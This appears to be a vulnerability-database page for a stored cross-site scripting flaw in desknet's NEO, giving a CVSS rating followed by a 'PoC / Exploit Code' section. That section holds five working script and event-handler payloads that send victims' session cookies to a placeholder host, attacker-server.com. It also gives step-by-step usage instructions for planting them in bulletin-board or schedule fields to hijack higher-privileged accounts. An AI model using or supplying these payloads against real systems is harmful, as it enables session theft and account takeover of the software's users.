Stored cross-site scripting (XSS) vulnerability in desknet's NEO V2.0R1.0 to V9.0R2.0 allow execution of arbitrary JavaScript in a user’s web browser.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
desknet's NEO V2.0R1.0
desknet's NEO V2.0R1.0 至 V9.0R2.0之间的所有版本
desknet's NEO V9.0R2.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for CVE-2025-55072 - desknet's NEO -->
<!-- This PoC demonstrates a stored XSS payload that can be injected into vulnerable input fields -->
<!-- Basic cookie stealing payload -->
<script>
var img = new Image();
img.src = 'http://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
<!-- Alternative payload using fetch API -->
<script>
fetch('http://attacker-server.com/steal', {
method: 'POST',
body: JSON.stringify({cookie: document.cookie, url: window.location.href}),
headers: {'Content-Type': 'application/json'}
});
</script>
<!-- Payload using XMLHttpRequest -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker-server.com/steal?c=' + document.cookie, true);
xhr.send();
</script>
<!-- Event handler based payload (useful if script tags are filtered) -->
<img src=x onerror="fetch('http://attacker-server.com/steal?c='+document.cookie)">
<!-- SVG-based payload -->
<svg/onload="fetch('http://attacker-server.com/steal?c='+document.cookie)">
<!-- Usage instructions:
1. Set up a listener server at attacker-server.com to capture exfiltrated data
2. Login to desknet's NEO with a valid low-privilege account
3. Inject the payload into a vulnerable input field (e.g., bulletin board post, schedule description)
4. Wait for a victim with higher privileges to view the malicious content
5. The victim's session cookie will be sent to the attacker's server
-->